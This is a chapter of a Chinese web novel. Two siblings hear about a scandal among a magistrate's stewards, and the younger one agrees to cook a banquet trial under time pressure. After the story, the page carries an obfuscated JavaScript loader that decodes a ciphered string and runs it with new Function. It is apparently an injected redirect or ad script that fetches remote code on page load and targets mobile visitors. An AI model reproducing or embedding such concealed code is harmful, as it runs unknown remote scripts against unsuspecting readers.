第七十章终于有了露一手的机会(1 / 1)

金步摇的动作突然停了下来,怔怔地看着方涛,过了一会儿才说道:“那些个媒婆,不过是看着咱家日子过得好了,专给一些白吃白喝的惫懒汉子说亲,阿姐我才看不上……” 方涛脑袋摇得如同拨浪鼓:“不是!不是!阿姐所以挑得仔细,还不是为了我们几个?走吧,既然没什么事要咱们做,咱们回去好了!” 金步摇看了方涛一会儿,激动的表情渐渐平复了下来,点点头道:“阿弟你说得没错……我们回去吧……”两个人并肩彼此对视了一眼便并肩往外走去。 这时候,一个小厮慌慌张张地跑来,拦住两人道:“两位!两位!对不住两位!方才府里出了点事,实在是怠慢了两位……” “出事?”金步摇疑惑道,“什么大事能耽搁几个时辰的?扯谎也不打草稿!” 小厮苦笑道:“大姐,您刚才那两下子咱们可都是见识过的,小的宁可得罪了管事的也不敢蒙您哪!确实是有了大事!我家老爷本来得了周相的允诺,说要年内起复,可是今儿一早从北京传来消息说,周相虽然尽了力,奈何东林士子无论如何都是不肯的,周相无奈,只能回信给我家老爷说‘徐图计较’,老爷一早上起来脸就是黑的!可是二管事这个时候却去触了霉头直接挨了板子,您二位来的时候,二管事正被人抬下去上药呢!要说您二位也是跟着老爷做生意的,放在府上怎么说也顶得上一个小管事了,咱们如何敢怠慢您哪!只是咱们这些跟着二管事办事儿的看到二管事挨了打,这不都乱了么……” 方涛停了这番解释,同样苦笑道:“这都什么事儿……怎么就莫名其妙地挨了打?” 小厮机警地看了看四周,陪笑道:“这个咱们当下人的可就不好说了,您二位还是随我来,见过二管事再说……” “等等!”金步摇连忙挡住了小厮,从怀里掏出几块散银塞到小厮手上,说道,“小哥儿帮帮忙!咱们也是初来乍到,府里的规矩多半不懂得,二管事刚刚挨了板子,心里肯定不会舒坦了,若是咱们再触了霉头岂不是白瞎?还请小哥儿把府里的情况说个明白,也好让咱们心里有个计较!” 小厮拿了银子顿时眉开眼笑,神色愈发恭敬起来:“大姐果然是个爽利人!原本也不是什么大事,府上宴请江南名士,大管事自然是把采买这个大头揽了去,轮到二管事头上的便是请厨子和帮工,这么大席面,负责采买怎么也能捞到千儿八百的银子,可请厨子帮工顶多克扣个百十两的工钱,二管事嫌少了,所以请厨子的时候工钱就开得低些,结果人家不干哪!眼看再有几天就要开席了,帮工虽然请了几个,可大厨一个没有!今儿老爷问起来的时候,不知道是谁把这事儿捅上去了,结果么……” 方涛咋舌道:“大府大院的,还有这等买卖?自家的钱也捞?” 金步摇白了方涛一眼,没好气道:“这是常例,没你的事儿,不准插嘴!”说罢,转而再问道:“你说这事儿被捅上去了又怎么说?难道府里还有什么腻味不成?” 小厮看了看周围,压低声音道:“大姐这话就问对了!咱们家的大管事是从老太爷那会儿就在府上的,如今年岁也大了,儿子也在三年前捐了个县令,今年开春后使了点钱补了实缺,老爷也开了恩,打算今年一过便放了大管事出去跟儿子享福,这里头学问就大了……” 金步摇会意地点点头道:“也就是说,大管事一走,空下来的位子就有人要争了?” 小厮回道:“那是!咱们府上的二管事原本是老夫人娘家来的小厮,几十年下来也就有了如今的身份地位,可如今却不同的,如今大夫人二夫人的娘家人也都各自管着事儿呢,三房四房就跟不会放过这个机会了,这些日子各房都卯足了劲儿准备争一争的,可怜老夫人几年前没了,二管事就愈发地不受待见,所以才有了今儿这档子事儿……” 金步摇哂笑道:“这也是你们二管事的糊涂!这个节骨眼儿上还想着发财,这不是跟自己过不去么!算了,带路吧,把话说清楚了咱们就走!” 小厮张大嘴巴愣了愣,转身带路。转过几个院子就到了一个僻静所在,一个中年男子正趴在树荫下的春凳上哼哼唧唧地叫唤。小厮行了个礼道:“周爷,人带来了!” 周管事脸色苍白地点了点头,挥挥手示意小厮退到一边,看了金步摇和方涛一眼,问道:“你们是谷香阁的糕点师傅?” 金步摇指着方涛行了个礼道:“我阿弟便是!” 周管事动了动身子,半带痛苦地“嗯”了一声:“过几日,府里要请一些江南名士来做客,老爷的意思是请你们谷香阁做一批糕点来……糕点要好,不要怕花钱,要什么材料尽管开下单子来……价目也开过来,虽然咱家老爷在谷香阁也是占了份子的,但该上的账还是要上的,省得日后结算起来说不清楚……” “是!”金步摇恭敬地回答道。 周管事挨了顿打,显然老实了许多,从肘下抽出一张便笺道:“这是老爷亲自开下的单子,上面餐前饭后、席面上的冷热糕点,都写着,你们回去琢磨着要用多少料,直接去账房领牌子吧……” 金步摇应了一声,上前接过单子,带着方涛就要推出去,周管事突然问道:“你们等等!你们……开糕点铺的,有没有相熟的酒楼?若是有,能不能借几位大厨来用用?” “借?”金步摇奇怪地问道,“要人尽管开价挖便是,何必去借?贵府这么大场面,难道连厨子都养不起么?” 周管事苦笑道:“谁说养不起来?只是这些个大酒楼哪个没点儿背景?要么背后站着国公,要么站着留守的太监、大臣,咱家老爷为了起复,巴结他们还来不及呢,哪能去拆他们的场子?每年士子齐聚的时候,也是各酒楼生意最好的时候,这个时候挖人家厨子,不是明摆着结怨么!” 金步摇微微摇了摇头道:“抱歉,这事儿咱们办不成。谷香阁虽然跟各酒楼有生意上的往来,可说到底还不是过命的交情,人家的背景既然那么厚,那就跟不必卖我们这个面子。” 一直在旁边不吭声的方涛突然问道:“不知道阮老爷这次准备请多少客人?一次准备开多少席面?上等席面几桌?次等席面几桌?若是可以,这活儿我接了……” 周管事诧异地看了方涛一眼,反问道:“你小子行么?当个帮厨倒还行……” “我说使得便使得!”方涛坚定地说道,“不信我现在便下厨一试!” 周管事迟疑地看了方涛半晌,咬咬牙道:“行!厨下材料现成的,给你半个时辰,菜不用你洗,但是切菜上灶须得你一个人!冷盘……不用了;不过要热菜四道,两荤两素,汤两道,一荤一素。口味……热菜里面须得两道锡帮菜,一道川菜一道鲁菜,荤汤须得粤菜口味,素汤用淮阳口味,可使得?” 金步摇急了,连忙道:“管事的,你可不能欺负人,我阿弟才多大?能学好淮扬菜和锡帮菜已是难得了,其他菜式如何做得来?” 周管事苦笑道:“我这不也是死马当作活马医么?先做着吧,我得看看口味再定,若是成了,工钱我一文都不扣你们的!自己在另加十两!” 金步摇显然动了心,踌躇地看着方涛;而方涛却陷入了沉思,仔细盘算着半个时辰的功夫如何把这么多菜全都端出来。 周管事见事情陷入僵局,连忙道:“我没有为难小兄弟的意思,你们也看见了,今儿我挨了顿板子,前些日子又跟那些大厨谈僵了,这不是实在没办法了么?” 方涛想了想道:“可以!不过要有足够的人手烧灶。” 周管事立刻高兴起来,连忙道:“没问题,烧灶的人管够!快!抬我去厨下!” 一行人赶到厨下,方涛四处转悠了一番,检视过可用的食材之后,从刀架子上挑了一把趁手的菜刀在手里掂了掂,向周管事点了点头。 周管事趴在春凳上,满眼期待地喊道:“开始!” 话音一落,方涛便立刻动了起来。首先开始的便是耗时长的龙凤冬瓜盅,这个菜本身也不复杂,乌鸡跟蛇一锅炖了装进掏空的冬瓜就算完事,不过要的是时间和火候,半个时辰的功夫虽然欠火候,可毕竟味道已经出来了,熬上半天虽然汤汁更浓,可也失去原本的意义。不过接下来方涛就开始耍滑头了,荤菜则是无耻地用上了红烧肉,这道任何一个菜系里都有的荤菜简直就是放之四海而皆准,翻炒下锅之后还是花时间文火慢炖,腾出手来对付第二道热荤菜里面的白灼虾,这个也省事;热素菜里面他选择了最省时的辣白菜和菇笋面筋,最后才是一道简单朴素的雪菜豆腐汤。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();